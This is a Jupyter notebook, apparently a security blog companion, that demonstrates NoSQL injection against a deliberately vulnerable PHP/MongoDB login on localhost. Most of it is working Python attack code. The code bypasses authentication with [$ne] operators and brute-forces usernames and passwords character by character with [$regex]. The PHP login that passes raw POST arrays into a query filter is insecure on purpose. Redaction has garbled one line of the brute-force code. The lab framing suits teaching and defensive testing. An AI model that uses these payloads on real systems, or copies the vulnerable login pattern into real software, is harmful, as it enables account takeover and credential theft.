<jupyter_start><jupyter_text>MongoDB NoSQL Injection PlaybookWelcome to this notebook in which I demonstrate two ways to abuse MongoDB login systems.The code in this notebook is able to bypass authentication and exfiltrate sensitive information (usernames and passwords). DisclaimerThis is for educational purposes only! Do not use it against targets you don't own or are not allowed to use it against! I am not responsible for whatever you do with this.  PreparationI installed MongoDB on my system (operating system doesn't really matter) and added the MongoDB driver to my PHP installation.The easiest way to do this (on Windows) seems to be XAMPP, but feel free to use other methods.  Login codeHere's the - not *that* sophisticated - login system in PHP:```<?php    // should be the same for all default MongoDB installations    $mng = new MongoDB\Driver\Manager("mongodb://localhost:27017");    $qry = new MongoDB\Driver\Query([]);    if(isset($_POST['login'])) {      $postedUsername = $_POST['username'];      $postedPassword = $_POST['password'];      $filter = ['username' => $postedUsername, 'password' => $postedPassword];      $query = new MongoDB\Driver\Query($filter);      $rows = $mng->executeQuery('exploit.users', $query);      $found_user = false;      foreach ($rows as $row) {        $found_user = true;      }          if($found_user == true) {        echo "Login succeeded";      } else {        echo "Login failed";      }    } ?>```I saved this to `login.php` and put it in my `htdocs` folder: `nosql/login.php`.I then added the following users to the collection `exploit.users`:```[{  "_id": {    "$oid": "60e4651a6aa8f5f72049dad6"  },  "username": "admin",  "password": "<PASSWORD>"},{  "_id": {    "$oid": "60e465446aa8f5f72049dad7"  },  "username": "root",  "password": "<PASSWORD>"},{    "_id": {     "$oid": "6<PASSWORD>"    },    "username":"third",    "password":"<PASSWORD>"  }]```  Login bypassIn order to bypass, we first need to try and authenticate (this will fail, of course).If you don't have requests installed, run `pip install requests` before running this code.<jupyter_code># pip install requests
import requests
data = {
    "username": "steps0x29a",
    "password": "<PASSWORD>",
    "login": "login"
}
x = requests.post('http://localhost/nosql/login.php', data=data, allow_redirects=False)
print(x.text)<jupyter_output><empty_output><jupyter_text>As you can see, we pass wrong credentials to the login page and receive `Login failed` as a response (as expected).Now, let's bypass the authentication by modifying the input data as below:<jupyter_code>data = {
    "username[$ne]": "steps0x29a",
    "password[$ne]": "<PASSWORD>",
    "login": "login"
}
x = requests.post('http://localhost/nosql/login.php', data=data, allow_redirects=False)
print(x.text)<jupyter_output><empty_output><jupyter_text>What happened here?As you can see we modify the parameters that we pass to the login page by appending `[$ne]` to both of them. That modifier means "not equal to" - we are essentially telling MongoDB that it should search for users that are *not* named 'steps0x29a' and *not* have '<PASSWORD>' set as their password. And yes, that actually works! How can this be exploited?You could intercept HTTP requests you make to an application that uses a similar authentication mechanism in your browser and bypass the login, effectively getting access to protected information. burpsuite for example allows on-the-fly modifications of requests and responses.   Leaking informationAlright, we now know how to bypass the authentication, let's exfiltrate some data from the database.First, we need a set of characters to try in a bruteforce attack, so let's build it:<jupyter_code>import string
import re 

alphabet = string.printable

print(alphabet)<jupyter_output><empty_output><jupyter_text>As the attack will rely on regular expressions, we need to escape some of them (that's what `re.escape` is used for). After that, we are ready to go.<jupyter_code>def test_username(username:str) -> bool:
  data = { "username[$regex]": f"^{username}$", "password[$ne]":"<PASSWORD>", "login": "login" } 
  x = requests.post('http://localhost/nosql/login.php', data, allow_redirects=False)
  return "Login succeeded" in x.text
    
def bruteforce_user(seed:str='') -> str:
  username = seed
 
  while True:
    for a in alphabet:
      payload = f"{username}{re.escape(a)}"
      print(f"\r{payload}", flush=True, end='')
      data = { "username[$regex]": f"^{payload}.*$", "password[$ne]":"<PASSWORD>", "login": "login" } 
      x = requests.post('http://localhost/nosql/login.php', data, allow_redirects=False)
      if "Login succeeded" in x.text:
        username = f"{username}{a}"
        if test_username(username):
          print()
          return username
        break
  return None 

print(f'Username found: {bruteforce_user()}')<jupyter_output><empty_output><jupyter_text>There's a lot going on here, so let's walk through this step by step. Bruteforcing a usernameWe start off with an empty username and loop through all the characters in our character set, appending one character to our username at a time. We then send it to the login page, but this time using `[$regex]` as a modifier. This modifier lets us use regex to match things in the database, e.g. usernames. This essentially means that we can ask MongoDB whether there's a username starting with 'a', 'b', ... and so on. As we still use `[$ne]` to bypass the login, the login will succeed when a character is matched. Verifying usernamesAs we iterate over the characters inside an endless loop, we need some way of determining whether or not we have found a valid username, not just the beginning of it. That is what `test_username` is for. It uses a slightly different regex to determine whether or not a given username is actually a complete one. Finding more usernamesThe problem with this code is that it will find one and only one username (the first match). In order to find another user, we can use the `seed` parameter as follows:<jupyter_code>print(f'Another username: {bruteforce_user(seed="r")}')<jupyter_output><empty_output><jupyter_text>Getting a user's passwordNow we know two usernames. Let's get their passwords (it's the same method, so no more explanation required):<jupyter_code>def test_password(username:str, password:str) -> bool:
  data = { "username[$regex]": f"^{username}$", "password[$regex]": f"^{password}$", "login": "login" } 
  x = requests.post('http://localhost/nosql/login.php', data, allow_redirects=False)
  return "Login succeeded" in x.text

def bruteforce_password(username, seed='') -> str:
  password = seed
 
  while True:
    for a in alphabet:
      payload = f"{password}{re.escape(a)}"
      print(f"\r{payload}", flush=True, end='')
      data = { "username": username, "password[$regex]":f"^{payload}", "login": "login" } 
      x = requests.post('http://localhost/nosql/login.php', data, allow_redirects=False)
      if "Login succeeded" in x.text:
        password = f"{<PASSWORD>}"
        if test_password(username, password):
          print()
          return password
        break
  return None

print(f"Admin password: {bruteforce_password('admin')}")
print(f"root password: {bruteforce_password('root')}")<jupyter_output><empty_output><jupyter_text>IssuesSpecial characters are sometimes weird and can lead to false positives or false negatives. Escaping works quite well, but can fail as well. I'll demonstrate with the third user:<jupyter_code>print("AB_.#+*[]{}()!$4")
print(f"Third user's password: {bruteforce_password('third')}")<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.1195125147424977, 'fraction_numerical': 0.006159087930808544, 'mean_word_length': 4.5586307356154405, 'pattern_counts': {'":': 30, '<': 40, '<?xml version=': 0, '>': 47, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '7', 'dir': 'jupyter-structured-clean-dedup', 'id': '173694', 'license': 'Unlicense', 'n_tokens_mistral': 2281, 'n_tokens_neox': 2180, 'n_words': 842, 'path': 'mongodb-nosql-injection/nosqlinjection.ipynb', 'repo_name': 'steps0x29a/blog-companion', 'size': '7648'}